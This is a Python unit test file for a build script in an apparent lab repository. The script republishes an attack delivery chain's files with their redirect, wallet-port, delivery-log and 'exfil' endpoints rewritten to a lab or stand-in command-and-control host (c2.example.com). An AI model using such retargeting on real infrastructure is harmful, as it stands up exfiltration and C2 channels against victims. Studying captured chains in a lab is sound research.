Files
coruna-lab/channel-builder-ds/tools/tests/test_build.py
T
2026-08-24 07:19:10 +08:00

103 lines
3.9 KiB
Python

#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "config.js").write_text(
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
encoding="utf-8",
)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
'__labCfHttp("POST", "/log", body, false);\n'
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
encoding="utf-8",
)
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_and_publishes_without_touching_source(self) -> None:
before = (self.source / "config.js").read_text(encoding="utf-8")
hits = build.build(
self.source,
self.dest,
"192.168.31.130",
8080,
"http://192.168.31.130:8080",
)
self.assertTrue(hits)
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
self.assertNotIn("ab.ux600.com", published)
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
self.assertFalse((self.dest / "api").exists())
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
self.assertNotIn("/log.html", worker)
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
def test_origin_override(self) -> None:
host, port, origin = build.resolve_origin(
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
)
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
def test_origin_rewrites_lab_template_config(self) -> None:
(self.source / "config.js").write_text(
'window.NEWS2_CONFIG = {\n'
' exfil: {\n'
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
' http_port: 8000,\n'
' https_port: 8000,\n'
' tls: false,\n'
' prefer_https: false,\n'
' },\n'
' redirectUrl: "https://ab.ux600.com",\n'
'};\n',
encoding="utf-8",
)
build.build(
self.source,
self.dest,
"c2.example.com",
443,
"https://c2.example.com",
)
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn('host: "c2.example.com"', published)
self.assertIn('domain: "c2.example.com"', published)
self.assertIn("http_port: 443", published)
self.assertIn("https_port: 443", published)
self.assertIn("tls: true", published)
self.assertIn("https://c2.example.com/?landed=1", published)
self.assertNotIn("192.168.31.130", published)
self.assertNotIn("ab.ux600.com", published)
if __name__ == "__main__":
unittest.main()